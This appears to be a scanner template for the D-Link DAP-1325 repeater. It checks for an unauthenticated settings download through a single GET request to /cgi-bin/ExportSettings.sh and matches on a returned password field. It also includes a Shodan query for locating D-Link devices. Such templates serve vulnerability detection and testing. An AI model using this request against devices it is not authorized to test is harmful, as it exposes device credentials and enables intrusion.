id: dlink-config-dump

info:
  name: D-Link DAP-1325 - Information Disclosure
  author: gy741
  severity: critical
  description: |
    Security vulnerability known as Unauthenticated access to settings or Unauthenticated configuration download. This vulnerability occurs when a device, such as a repeater, allows the download of user settings without requiring proper authentication.
  reference:
    - https://www.exploit-db.com/exploits/51556
    - https://www.dropbox.com/s/eqz0ntlzqp5472l/DAP-1325.mp4?dl=0
  metadata:
    max-request: 1
    shodan-query: title:"D-LINK"
  tags: misconfig,config,dump,dlink,auth-bypass,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Password"
        case-insensitive: true

      - type: regex
        part: header
        regex:
          - 'filename="(.*)_Settings.dat'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204fff72b8d6751e005444566c305ac3a7b406369b0a38e33a743e1060f7888d4402204d647f1d941cfb064fdb7664e13f349c102093f1f0bc0ae6b71621109f534707:922c64590222798bb761d5b6d8e72950